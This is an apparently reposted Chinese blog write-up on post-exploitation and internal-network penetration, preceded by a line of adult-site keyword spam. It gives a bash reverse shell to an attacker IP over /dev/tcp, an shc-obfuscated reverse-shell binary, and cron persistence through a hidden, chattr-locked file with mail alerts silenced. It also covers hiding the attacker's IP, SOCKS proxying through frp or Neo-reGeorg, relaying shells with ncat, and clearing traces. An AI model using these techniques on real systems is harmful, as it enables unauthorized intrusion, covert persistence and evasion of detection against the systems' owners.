国产精品久久久aaaa,日日干夜夜操天天插,亚洲乱熟女香蕉一区二区三区少妇,99精品国产高清一区二区三区,国产成人精品一区二区色戒,久久久国产精品成人免费,亚洲精品毛片久久久久,99久久婷婷国产综合精品电影,国产一区二区三区任你鲁

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

一文解析后滲透及內網初體驗

馬哥Linux運維 ? 來源:先知社區 ? 作者:kilomite ? 2022-08-20 14:46 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

繞php的disable_functions 此處建議用AntSword的官方繞過插件全自動繞

d30c369e-1fc4-11ed-ba43-dac502259ad0.png

繞過失敗的可以手動試一下

另外,可以看一下web程序存的數據庫的用戶名和密碼,然后看一下數據庫能不能利用,比如寫文件或者寫日志,以及各種提權,如果繞過disable_functions失敗,數據庫也不能利用的可以看一下目標服務器上都有什么文件,比如其他站點或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了

d340c95e-1fc4-11ed-ba43-dac502259ad0.png


隱藏ip

隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數等 但是此處也是有大坑的,能訪問國外服務器的目標機器就好辦了,直接上就行,但是不能訪問國外服務器的目標機器,首先用Cloudflare比較卡,其次用國內的云服務商的則需要實名,而且費用也不低,所以實在沒辦法就別隱藏ip了,此處我也沒有隱藏ip

加密bash反彈shell

正常的bash反彈shell: 目標機器反彈shell:


bash -i >& /dev/tcp/攻擊機的ip/攻擊機接收shell的端口 0>&1

攻擊機接收反彈來的shell:

nc -lvvp 攻擊機接收shell的端口

//netcat版本低時l和p參數不兼容,可以nc -lvv port監聽端口

這個repository加密一下bash腳本,加密后會生成一個c源代碼文件和編譯之后的二進制文件,把編譯之后的二進制文件傳到目標機器上執行就行了,可以彌補一下目標機器在國內時不便于隱藏攻擊ip的缺陷

本地執行:

./shc -Uvrf reverse.sh -o reverse

把生成的reveser傳到目標機器上,執行:

./reverse

webshell提供的shell環境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個端口動靜太大

首先是不能彈shell的情況,比如相關的bash,nc等命令都被限制了,那先嘗試提權

能彈shell但是接收不到的時候,可以看一下目標是不是限制出網或者限制出站端口

如果限制出網那就先嘗試提權,如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監聽多個端口來快速啟動多個端口,然后再在目標機器上上傳個sh腳本,批量curl自己vps的指定端口,最后看一下結果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個最常用的端口,可以參考一下

測試出網端口的具體步驟:

1.在正常的nginx配置文件中找到listen port,在后面復制一行,把port改成自己想開放的端口,重啟nginx

2.寫一個sh腳本,內容就是每行都curl想測試的端口:curl vps:port

3.傳到目標機器上,運行并且重定向到文件里:./shfile > result.txt

4.查看result.txt中的結果,就可以看到哪些端口能出網,nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000個最常用的端口,可以參考一下

成功收到shell的時候,依舊是個很難用的shell,可以再升級成完全的shell再用,升級之后和真實shell一樣,非常舒服

# 攻擊機本地執行# 首先檢查當前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用



此處的這些操作是重復性的,和具體設備無關,所以用xshell的可以寫個xshell的腳本或者錄制個xshell的腳本,不過我這邊錄制的時候生成的腳本內容總是為空,應該是個bug,也沒時間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個



畢竟按鍵精靈只是模仿輸入,不能獲取到結果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會多監聽一次任意按鍵事件,以防想暫停

如果想把這個shell關了,或者這個shell接收到了內網的其他shell,然后想把接收到的其他shell關了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時候reset一下就好了

在攻擊機上肯定不可能直接就接收shell,如果本地和攻擊機的shell連接斷了,那么攻擊機和目標機器的shell也就斷了,或者想把攻擊機接收到的shell掛在后臺,也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時候新開一個screen掛在后臺,不用的時候就在后臺掛著,用的時候切過去用就可以了

screen的簡單使用教程:

1.screen -S 這個screen會話的名字創建一個screen

2.在screen的會話中時,快捷鍵ctrl+a,ctrl+d把當前screen放在后臺

3.screen -r screen會話的名字恢復一個screen

4.在screen的會話中exit可以退出screen

5.一些小技巧:

1.`screen -list`查看所有的screen會話

2.`screen -list`會顯示相應對話的pid,通過`kill -9 pid`也可以關閉相應的screen會話

3.`screen -d screen會話的名字`可以將一個正在活動的screen放到后臺

4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺,快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會把最外層的screen放在后臺的

低權限提權

首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時看看打沒打補丁,如果目標機器不能編譯的話可以在自己的機器上編譯好了傳過去 此處也發現了幾個提權工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動搞一樣

權限維持

切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時俱進,用最新的東西,下面是一種我常用的權限維持的方式:

cron計劃任務權限維持比較簡單,當然也比較明顯:

建議用前面說的shc加密,上傳生成的二進制文件,用這個二進制文件彈shell,安全性高一點

上傳之后:

1.先chmod +x 二進制文件給一下權限

2.然后在名字前面加個.變為隱藏文件(ls -a可以查看隱藏文件)

3.再嘗試一下chattr +i 二進制文件(chattr -i 二進制文件可以解除鎖定)防止刪除,有相應的權限才能成功執行這條命令

4.最后把這個文件放在安全又隱秘的位置,

配置cron計劃任務時,如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應的文件,但是非root用戶通常沒有權限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加

root用戶在/etc/crontab里添加的計劃任務,通過crontab -l或crontab -e是看不到的

/etc/crontab里應該有默認的配置和默認的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:

在寫cron之前先執行$PATH查看環境變量并復制,然后再寫cron

首先第一行配置為SHELL=+相應的shell位置,第二行配置為PATH=+默認的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計劃任務的執行結果不給用戶發郵件,因為計劃任務反彈shell是不停的反彈,但是攻擊機如果之前接收到的shell還沒關端口被占用著彈shell就失敗了就會報錯然后發郵件,發了郵件的話每次執行命令都會提示,很容易就被發現了

最后配置計劃任務:

root用戶配置為* * * * * root /要執行的命令或文件

非root用戶配置為* * * * * /要執行的命令或文件

如果要修改執行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell

內網

信息收集

激動人心的時刻來了,打內網 因為我拿到的shell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強烈推薦fscan,用一次就上癮,很好用

搭建代理

有些內網ip的端口上跑的比如網站等等在命令行不太好滲透,而且有些內網ip是不出網的,只能通過我們打下來的這個邊界服務器來訪問,所以建個代理還是很有必要的

此處我推薦用frp,然后依舊遵循動靜小點的原則,不在目標機器上開端口,在自己的vps上架設frp的服務端,在目標機器上架設frp的客戶端,然后在客戶端啟用socks5代理插件,這會在服務端上開一個你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠程連接,同時可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)

另外也可以用Neo-reGeorg,直接上傳個php/jsp等文件就可以建socks5代理,也很好用,對比frp一個優點是只傳文件不用執行命令就可以建代理,另一個優點是不用在目標機器上額外在后臺掛一個程序

內網滲透

其實和前面的web滲透一樣,只不過有些應用在內網比較常見,所以需要去了解一下,搜一下有什么漏洞

fscan本身會檢測漏洞,比如各種未授權訪問,也會爆破一些端口的服務,比如mysql,ssh或者Tomcat的Manager App的弱口令等

一個C段可以見識不少東西,打了一遍下來竟然天亮了...一天一夜過去了

具體就不細說了,遇見哪個搜哪個,這個C段遇到的web程序基本都是java系的,還有一些python系的

內網不出網反彈shell

目標機器如果不出網可以反彈到已經打下來的內網機器上,也可以再把反彈的端口轉發到vps上,實現通過轉發出網

通過ncat轉發出網:

中轉的機器執行:


ncat -l 中轉機器接收內網反彈來的shell的端口 -c 'ncat 攻擊機的ip 攻擊機的端口'

這樣攻擊機就可以接收到不出網的設備彈的shell,唯一的缺點就是中轉的機器要占用個端口 中不中轉對于不出網的設備的權限維持都是一樣的,主要的區別就是在vps上連不出網的設備方便點

痕跡清理

主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能

下面是一個簡單粗暴的清理方式,如無必要不建議使用:





審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • Web
    Web
    +關注

    關注

    2

    文章

    1304

    瀏覽量

    74465
  • 服務器
    +關注

    關注

    14

    文章

    10253

    瀏覽量

    91483
  • 數據庫
    +關注

    關注

    7

    文章

    4020

    瀏覽量

    68342
  • Shell
    +關注

    關注

    1

    文章

    375

    瀏覽量

    25381

原文標題:干貨|后滲透及內網初體驗的總結

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關推薦
    熱點推薦

    華為U6GHz多頻合LampSite解決方案定義室內網絡新基線

    、機器人集群協同到工業AI檢測,各類應用對網絡連接密度、傳輸速率和確定性時延提出了系統化新要求。為此,華為提出了U6GHz多頻合LampSite解決方案,重塑室內網絡。
    的頭像 發表于 03-03 16:04 ?147次閱讀

    精密加工的輕質鋁制D-SUB連接器殼:特性、規格與應用解析

    精密加工的輕質鋁制D-SUB連接器殼:特性、規格與應用解析 在電子設備的設計與制造中,連接器殼雖小,但對整個系統的性能和穩定性起著至關重要的作用。今天,我們來深入了解款精密加工的
    的頭像 發表于 12-11 09:20 ?503次閱讀

    Labview 解析dxf文件并顯示<

    Labview軟件開發過程中,大家會遇到導入dxf文件的需要,今天開個帖子,聊聊如何解析和顯示dxf文件,同時用圖表來顯示。 首先來介紹下dxf, 簡單來說他就是圖形文件的種文本格式,具有固定
    發表于 11-14 22:45

    內網穿透:從原理到實戰部署

    本文介紹了內網穿透技術的原理及其應用解決方案。由于NAT網絡和動態IP的限制,外部無法直接訪問內網設備。內網穿透通過公網中轉服務器建立連接通道,實現外部訪問內網服務。文章詳細講解了Ze
    的頭像 發表于 11-04 16:57 ?1444次閱讀
    <b class='flag-5'>內網</b>穿透:從原理到實戰部署

    內網穿透的多種使用場景:遠程辦公、IoT 設備管理全解析

    你是否也曾這樣“抓狂”過? ● 假期出游,突然需要公司內網份文件,卻無可奈何? ● 給客戶演示項目,還得求著運維同事幫忙部署到外網服務器? ● 想在外面看看家里的寵物,卻發現攝像頭無法遠程連接
    的頭像 發表于 10-11 15:44 ?467次閱讀
    <b class='flag-5'>內網</b>穿透的多種使用場景:遠程辦公、IoT 設備管理全<b class='flag-5'>解析</b>

    內網線能用在室外嗎

    內網般不建議直接用于室外環境,但可通過特定處理或選擇專用室外網線實現室外應用。以下是詳細分析: 、室內網線用于室外的潛在問題 物理防護不足 外皮材質:室
    的頭像 發表于 09-12 09:58 ?1423次閱讀
    室<b class='flag-5'>內網</b>線能用在室外嗎

    為什么內網穿透必須加密?

    對于企業而言,選擇支持 TLS 加密的內網穿透工具(如ZeroNews),并定期更新加密協議與證書,是保障業務安全、避免法律風險的最有效手段。
    的頭像 發表于 08-19 15:47 ?820次閱讀
    為什么<b class='flag-5'>內網</b>穿透必須加密?

    AIcube1.4目標檢測模型導入yolotxt格式數據集直顯示數據正在解析,為什么?

    AIcube1.4目標檢測模型導入yolotxt格式數據集直顯示數據正在解析 數據有問題,把數據情況說的詳細點
    發表于 08-13 07:16

    遠程訪問內網MySQL數據庫?這個方案更簡單

    各位開發者朋友們,是否還在為無法隨時隨地訪問內網MySQL數據庫而煩惱?今天分享個超實用的方法,通過容器部署 MySQL 結合 ZeroNews 內網穿透,讓你在任何地方都能安全訪問和管理數據庫
    的頭像 發表于 07-04 18:06 ?870次閱讀
    遠程訪問<b class='flag-5'>內網</b>MySQL數據庫?這個方案更簡單

    【Banana Pi BPI-RV2開發板試用體驗】部署內網穿透

    BPI-RV2 RISC-V開源路由器之部署內網穿透 背景 最近剛弄到塊 BPI-RV2 RISC-V 開源路由器,剛好自己有個云服務器和公網IP,打算在openwrt上面部署frp來做內網穿透
    發表于 06-29 20:05

    內網穿透目前最好的解決方案?ZeroNews憑什么!

    無論是個人想要遠程訪問家中的設備,還是企業實現高效的遠程辦公與資源共享,內網穿透都是關鍵所在。然而,傳統的內網穿透方案卻問題重重,企業急需新的選擇。 1. 傳統方案 ① 公網IP:成本高、風險
    的頭像 發表于 05-15 14:14 ?955次閱讀
    <b class='flag-5'>內網</b>穿透目前最好的解決方案?ZeroNews憑什么!

    內網穿透和公網ip什么區別

    在遠程訪問、企業組網等場景中,內網穿透和公網IP是兩種常見的解決方案,但它們的原理、成本和使用方式截然不同。 以下圖片是兩者的關鍵對比: 1. 本質區別 2. 工作原理對比 (1)公網IP方案
    的頭像 發表于 05-14 14:18 ?710次閱讀
    <b class='flag-5'>內網</b>穿透和公網ip什么區別

    這么多內網穿透工具怎么選?篇讓你不再糾結的終極指南!

    穿透工具就是你的救星! 但問題來了—— 市面上這么多工具,Ngrok、FRP、ZeroNews……到底該選哪個? 別急,這篇文章將帶你全面了解各種內網穿透方案的優缺點,幫你找到最適合自己的那款!
    的頭像 發表于 05-13 16:06 ?1206次閱讀
    這么多<b class='flag-5'>內網</b>穿透工具怎么選?<b class='flag-5'>一</b>篇讓你不再糾結的終極指南!

    國產內網穿透方案-比frp更簡單

    的應用場景。 當前市場上,frp作為款開源內網穿透方案,憑借其開源特性和廣泛的技術支持,在行業內擁有較高的認知度,常被應用于大型局域網的構建與管理。然而,frp使用過程中暴露出些明顯的短板——安裝配置較復雜,需要
    的頭像 發表于 05-13 11:28 ?635次閱讀
    國產<b class='flag-5'>內網</b>穿透方案-比frp更簡單

    【峟思】土石壩滲透壓監測技術解析與現代化解決方案

    土石壩作為水利工程的核心構筑物,其滲透穩定性直接關系工程安全。滲透壓力、滲流量及水質變化是評估壩體安全的關鍵指標。本文系統解析滲透壓監測方法,并介紹智能化監測技術的創新應用。
    的頭像 發表于 05-06 15:58 ?534次閱讀
    【峟思】土石壩<b class='flag-5'>滲透</b>壓監測技術<b class='flag-5'>解析</b>與現代化解決方案